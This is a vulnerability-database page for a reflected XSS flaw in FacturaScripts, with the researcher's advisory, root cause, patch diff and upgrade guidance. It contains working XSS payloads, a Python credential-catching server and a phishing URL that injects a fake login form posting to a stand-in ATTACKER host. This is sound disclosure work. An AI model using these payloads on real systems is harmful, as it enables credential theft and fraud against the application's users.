CVE-2026-23476 is a medium-severity (CVSS 5.4) Cross-site Scripting (XSS) vulnerability in facturascripts/facturascripts. A fix is available for facturascripts/facturascripts — see the affected versions and patch details below.
FacturaScripts Affected by Reflected XSS
Exploitation Status
No confirmed exploitation observed yet
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-23476.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-23476 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
facturascripts/facturascriptsReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Reflected XSS via SQL Error Messages
Summary
A reflected XSS bug has been found in FacturaScripts. The problem is in how error messages get displayed - it's using Twig's | raw filter which skips HTML escaping. When a database error is triggered (like passing a string where an integer is expected), the error message includes all input and gets rendered without sanitization.
Attackers can use this to phish credentials from other users since HttpOnly is set on cookies (so stealing cookies directly won't work, but attackers can inject a fake login form).
CVSS 6.1 (Medium-High)
What was Found
Where the bug exists in the code:
Core/View/Macro/Utils.html.twig, line 27:
{% for item in messages %}
<div>{{ item.message | raw }}</div>
{% endfor %}
That | raw is the problem. It tells Twig not to escape anything.
How it works
So here's what happens:
- Hhit
/EditProducto?code=<svg onload=alert(1)> or <img src=x onerror=alert(1)> - The app tries to look up a product with that "code"
- PostgreSQL throws an error because
<svg onload=alert(1)>isn't a valid integer - The error goes something like: ```
ERROR: invalid input syntax for type integer: "<svg onload=alert(1)>"
LINE 1: SELECT * FROM "productos" WHERE "idproducto" = '<img src=x onerror=alert(1)>"
- This gets logged via MiniLog and displayed to the user
- Because of
| raw, the browser actually executes the JS
The error logging happens in Core/Base/DataBase.php around line 236:
self::$miniLog->error(self::$engine->errorMessage(self::$link), ['sql' => $sql]);
And PostgreSQL's error message includes whatever garbage it was sent.
Reproduction Steps
Requirements
- Working FacturaScripts install
- Any user account (doesn't need to be admin)
- The victim needs to be logged in
Quick test
Just visit this URL while logged in:
http://localhost/EditProducto?code=<svg onload=alert(document.domain)>
An alert box should pop up.
For a real attack (credential phishing)
Set up a simple server to catch credentials:
from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import urlparse, parse_qs
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
q = parse_qs(urlparse(self.path).query)
print(f"\nGot creds:")
print(f" User: {q.get('user', ['?'])[0]}")
print(f" Pass: {q.get('pass', ['?'])[0]}")
self.send_response(200)
self.end_headers()
def log_message(self, *args): pass
HTTPServer(('', 8888), Handler).serve_forever()
Then craft a URL that injects a fake login form:
http://TARGET/EditProducto?code=<svg onload="document.body.innerHTML='<div style=text-align:center;padding:100px><h2>Session Expired</h2><form action=http://ATTACKER:8888/steal><input name=user placeholder=Username><br><input name=pass type=password placeholder=Password><br><button>Login</button></form></div>'">
Send that to someone (email, chat, whatever). When they click it and enter their password thinking their session expired, their creds are displayed.
Other endpoints that work
Pretty much anything that uses the code parameter:
/EditProducto?code=/EditCliente?code=/EditFacturaCliente?code=/EditProveedor?code=- etc.
Basically all the Edit controllers.
Impact
What attackers can do with this
Steal credentials - Can't grab cookies directly (HttpOnly), but the phishing form trick works great. Victim thinks their session timed out and re-enters their password.
Read page data - Once JS is running, attackers can scrape whatever's on the page (invoices, customer info, financial data) and send it somewhere.
Keylog - Inject a keylogger that captures everything they type.
Bypass CSRF - Grab the multireqtoken from the page and make requests as the victim.
What attackers CAN'T do
Can't steal session cookies via document.cookie - they're HttpOnly.
Business side
This is a financial app, so if attackers compromise an admin account, the following is possible to create or expose:
- Fake invoices
- Redirected payments
- Customer data breach (GDPR stuff)
- The usual mess
Fix
Quick fix
Just remove | raw from line 27 in Core/View/Macro/Utils.html.twig:
- <div>{{ item.message | raw }}</div>
+ <div>{{ item.message }}</div>
That's it. Twig escapes by default, so removing | raw fixes the XSS.
If projects want to be thorough
- Sanitize messages before they go into the log:
$message = htmlspecialchars($message, ENT_QUOTES, 'UTF-8');
-
Add CSP headers to block inline scripts as a backup
-
Maybe validate the
codeparameter format before it hits the database
Resources
- https://cwe.mitre.org/data/definitions/79.html
- https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
Found: Dec 31, 2025
Tested on: FacturaScripts 2025.61 (Docker), verified vulnerable in 2025.71 (GitHub latest)
<img width="1917" height="868" alt="1" src="https://github.com/user-attachments/assets/a7d770c8-1d61-499c-83dc-e21be8e61c87" />
<img width="337" height="130" alt="3" src="https://github.com/user-attachments/assets/463067ee-3a73-45ed-af26-c32264d5bf41" />
<img width="1915" height="870" alt="phising" src="https://github.com/user-attachments/assets/6e15a021-dc5f-4708-bdd1-887ecb2d2ffb" />
<img width="1915" height="862" alt="phising2" src="https://github.com/user-attachments/assets/100a63b6-c066-43d5-ab39-6085f51ba282" />
<img width="1918" height="877" alt="sql erroe" src="https://github.com/user-attachments/assets/4c3182ba-380d-44d4-ab34-4b0840ad3e39" />
<img width="1165" height="277" alt="version" src="https://github.com/user-attachments/assets/5f23e4de-cf03-4fcf-a6c5-6ca327c8c43a" />
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | facturascripts/facturascripts | all versions | 2025.81composer require facturascripts/facturascripts:^2025.81 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for facturascripts/facturascripts, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update facturascripts/facturascripts to 2025.81 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-23476 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-23476 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-23476. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-23476 in your dependencies?
O3 Security finds CVE-2026-23476 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.